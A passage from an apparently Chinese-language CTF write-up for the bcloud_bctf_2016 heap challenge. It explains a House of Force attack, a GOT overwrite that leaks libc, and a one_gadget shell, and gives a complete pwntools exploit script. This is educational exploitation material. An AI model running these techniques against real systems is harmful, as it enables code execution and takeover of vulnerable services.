之后申请offset-0x10大小的chunk,之所以是再减0x8是因为我们要将heap_array作为mem区域来修改,第一次申请offset-0x10大小的chunk,为第二次申请的chunk预留出chunk头的0x8字节大小(0x4字节的pre_size位和0x4字节的now_size位)。再次申请chunk即为heap_array为mem区域的chunk,可修改heap_array数组,

1
2
add(offset,'\n')	
add(0x18,'\n')

之后编辑chunk_1来修改heap_array数组

1
2
3
4
puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
free_got = elf.got['free']
edit(1,p32(0) + p32(free_got) + p32(__libc_start_main_got) + p32(heap_array + 0x10) + b'\x00'*0x8)

此时chunk依次为0,free_got,__libc_start_main_got,heap_array+0x10(保持原3号chunk不变)

1
edit(1,p32(puts_plt) + b'\n')

此时chunk_1存放free_got地址,编辑chunk_1,将free_got改为puts_plt函数地址

1
2
delete(2)
dbg()

free(chunk_2),相当于puts(__libc_start_main_got),泄露__libc_start_main_got地址,得到libc基地址,得到one_gadget地址
在这里插入图片描述

1
2
3
4
5
6
7
8
#本地
one_gadget = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6]
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
#buu远程
#one_gadget = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
#libc = ELF('../../libc-2.23.so--32')
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
onegadget = one_gadget[3] + libc_base

再次编辑chunk__1将puts函数地址改为one_gadget地址,free(chunk_1)执行exeve(“/bin/sh\x00”),获得shell。

1
2
delete(1)
itr()

在这里插入图片描述

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from LibcSearcher import *
context(endian='little',os='linux',arch='i386',log_level='debug') #小端序,linux系统,64位架构,debug
#定义gdb调试函数
def dbg():
gdb.attach(sh)
pause()
#命令简写化
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda num=4096 :sh.recv(num)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
itr = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

sh = process('./bcloud_bctf_2016')
#sh = remote('node4.buuoj.cn',26937)

elf = ELF('./bcloud_bctf_2016')
puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
free_got = elf.got['free']
heap_array = 0x0804B120

def add(size,content):
sla('>>','1')
sla('note content:',str(size))
sa('content:',content)

def edit(index,content):
sla('>>','3')
sla('id:',str(index))
sa('content:',content)

def delete(index):
sla('>>','4')
sla('id:',str(index))
def main():
sa('name:','a'*64)
ru('a'*64)
heap_addr = u32(r(4))
lg('heap_addr',heap_addr)
#dbg()
sa('Org:','a'*0x40)
#修改top chunk的size为-10xFFFFFFFF
sla('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0x48*3-0x8
lg('top_chunk_addr',(top_chunk_addr))
offset = heap_array - (top_chunk_addr +0x8)- 0x8
lg('offset',offset)
add(offset,'') #0
add(0x18,'\n') #1
edit(1,p32(0) + p32(free_got) + p32(__libc_start_main_got) + p32(heap_array + 0x10) + b'\x00'*8)
edit(1,p32(puts_plt) + b'\n')
#泄露__libc_start_main_got的地址
delete(2)
r(1)
__libc_start_main_addr = u32(r(4))
lg('__libc_start_main',__libc_start_main_addr)
#dbg()
'''
libc = LibcSearcher('__libc_start_main',__libc_start_main_addr)
libc_base = __libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
lg('libc_base',(libc_base))
lg('system_addr',(system_addr))
edit(1,p32(system_addr) + b'\n')
'''
#本地
one_gadget = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x5faa5,0x5faa6]
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')
#buu远程
#one_gadget = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
#libc = ELF('../../libc-2.23.so--32')
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
onegadget = one_gadget[3] + libc_base
edit(1,p32(onegadget) + b'\n')
#getshell
delete(1)
itr()
main()
0%